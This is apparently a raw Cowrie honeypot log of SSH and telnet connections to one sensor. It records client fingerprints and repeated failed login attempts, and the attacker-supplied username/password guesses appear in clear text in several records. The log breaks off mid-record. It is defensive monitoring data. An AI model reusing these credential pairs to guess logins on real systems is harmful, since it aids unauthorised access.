{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:36:50.616241Z","src_ip":"193.24.211.100","session":"9677aae977af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345!","message":"login attempt [root/abc12345!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:36:51.039012Z","src_ip":"193.24.211.100","session":"9677aae977af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:36:52.180986Z","src_ip":"193.24.211.100","session":"9677aae977af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.242.74","src_port":53768,"dst_ip":"159.203.135.109","dst_port":22,"session":"bce92f033ae7","protocol":"ssh","message":"New connection: 43.160.242.74:53768 (159.203.135.109:22) [session: bce92f033ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:37:03.409090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:37:03.414357Z","src_ip":"43.160.242.74","session":"bce92f033ae7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.63386511802673,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:37:03.444010Z","src_ip":"212.55.149.117","session":"8a49f17cc727","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:37:03.645168Z","src_ip":"43.160.242.74","session":"bce92f033ae7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"123","message":"login attempt [user4/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:37:04.598771Z","src_ip":"43.160.242.74","session":"bce92f033ae7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:37:05.832022Z","src_ip":"43.160.242.74","session":"bce92f033ae7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.255.221.189","src_port":55721,"dst_ip":"10.17.0.5","dst_port":22,"session":"21a5c7ad0ad6","protocol":"ssh","message":"New connection: 173.255.221.189:55721 (10.17.0.5:22) [session: 21a5c7ad0ad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:37:11.133774Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:37:12.368508Z","src_ip":"173.255.221.189","session":"21a5c7ad0ad6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.226.76.20","src_port":55110,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cc78a32bf38","protocol":"telnet","message":"New connection: 216.226.76.20:55110 (159.203.135.109:23) [session: 8cc78a32bf38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:37:15.990681Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:37:15.997718Z","src_ip":"216.226.76.20","session":"8cc78a32bf38","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:37:16.002524Z","src_ip":"216.226.76.20","session":"8cc78a32bf38","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:37:16.007436Z","src_ip":"216.226.76.20","session":"8cc78a32bf38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09561991691589355,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:37:16.086165Z","src_ip":"216.226.76.20","session":"8cc78a32bf38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.242.74","src_port":33904,"dst_ip":"159.203.135.109","dst_port":22,"session":"2beac432335d","protocol":"ssh","message":"New connection: 43.160.242.74:33904 (159.203.135.109:22) [session: 2beac432335d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:38:04.128636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:38:04.134493Z","src_ip":"43.160.242.74","session":"2beac432335d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:38:04.372518Z","src_ip":"43.160.242.74","session":"2beac432335d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qwerty123.","message":"login attempt [ubuntu/Qwerty123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:38:05.356342Z","src_ip":"43.160.242.74","session":"2beac432335d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:38:06.604005Z","src_ip":"43.160.242.74","session":"2beac432335d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.229.94","src_port":53056,"dst_ip":"159.203.135.109","dst_port":22,"session":"37150f14029e","protocol":"ssh","message":"New connection: 118.194.229.94:53056 (159.203.135.109:22) [session: 37150f14029e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:38:17.258402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:38:17.263357Z","src_ip":"118.194.229.94","session":"37150f14029e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:38:17.419937Z","src_ip":"118.194.229.94","session":"37150f14029e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123qwe","message":"login attempt [administrator/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:38:18.078067Z","src_ip":"118.194.229.94","session":"37150f14029e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:38:19.237827Z","src_ip":"118.194.229.94","session":"37150f14029e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":9873,"dst_ip":"10.17.0.5","dst_port":22,"session":"2925de16e1df","protocol":"ssh","message":"New connection: 2.57.121.25:9873 (10.17.0.5:22) [session: 2925de16e1df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:38:41.080348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:38:41.085326Z","src_ip":"2.57.121.25","session":"2925de16e1df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:38:41.190760Z","src_ip":"2.57.121.25","session":"2925de16e1df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"150889","message":"login attempt [user/150889] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:38:41.685771Z","src_ip":"2.57.121.25","session":"2925de16e1df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"150686","message":"login attempt [user/150686] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:38:42.794939Z","src_ip":"2.57.121.25","session":"2925de16e1df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":13157,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6f9c1b275f7","protocol":"telnet","message":"New connection: 212.55.149.117:13157 (10.17.0.5:23) [session: c6f9c1b275f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:38:43.336932Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"150483","message":"login attempt [user/150483] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:38:43.903534Z","src_ip":"2.57.121.25","session":"2925de16e1df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"150384","message":"login attempt [user/150384] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:38:45.012017Z","src_ip":"2.57.121.25","session":"2925de16e1df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"15031979","message":"login attempt [user/15031979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:38:46.120642Z","src_ip":"2.57.121.25","session":"2925de16e1df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:38:47.228537Z","src_ip":"2.57.121.25","session":"2925de16e1df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.102.10","src_port":56946,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e9ad64a8240","protocol":"ssh","message":"New connection: 157.230.102.10:56946 (159.203.135.109:22) [session: 8e9ad64a8240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:39:02.207622Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:39:02.291209Z","src_ip":"157.230.102.10","session":"8e9ad64a8240","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.52.34.201","src_port":33900,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fbf33535b66","protocol":"telnet","message":"New connection: 176.52.34.201:33900 (159.203.135.109:23) [session: 0fbf33535b66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:39:05.159089Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.242.74","src_port":51348,"dst_ip":"159.203.135.109","dst_port":22,"session":"c69812f3756f","protocol":"ssh","message":"New connection: 43.160.242.74:51348 (159.203.135.109:22) [session: c69812f3756f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:39:07.919925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:39:07.930448Z","src_ip":"43.160.242.74","session":"c69812f3756f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:39:08.181228Z","src_ip":"43.160.242.74","session":"c69812f3756f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"Password1!","message":"login attempt [sftpuser/Password1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:39:09.200767Z","src_ip":"43.160.242.74","session":"c69812f3756f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:39:10.450297Z","src_ip":"43.160.242.74","session":"c69812f3756f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":9326,"dst_ip":"10.17.0.5","dst_port":23,"session":"2809ad498ed7","protocol":"telnet","message":"New connection: 212.55.149.117:9326 (10.17.0.5:23) [session: 2809ad498ed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:39:13.961696Z"}
{"eventid":"cowrie.session.closed","duration":12.396074771881104,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:39:17.555027Z","src_ip":"176.52.34.201","session":"0fbf33535b66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.74.248.52","src_port":57840,"dst_ip":"10.17.0.5","dst_port":22,"session":"80d52b481b22","protocol":"ssh","message":"New connection: 27.74.248.52:57840 (10.17.0.5:22) [session: 80d52b481b22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:39:36.639630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:39:36.709505Z","src_ip":"27.74.248.52","session":"80d52b481b22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-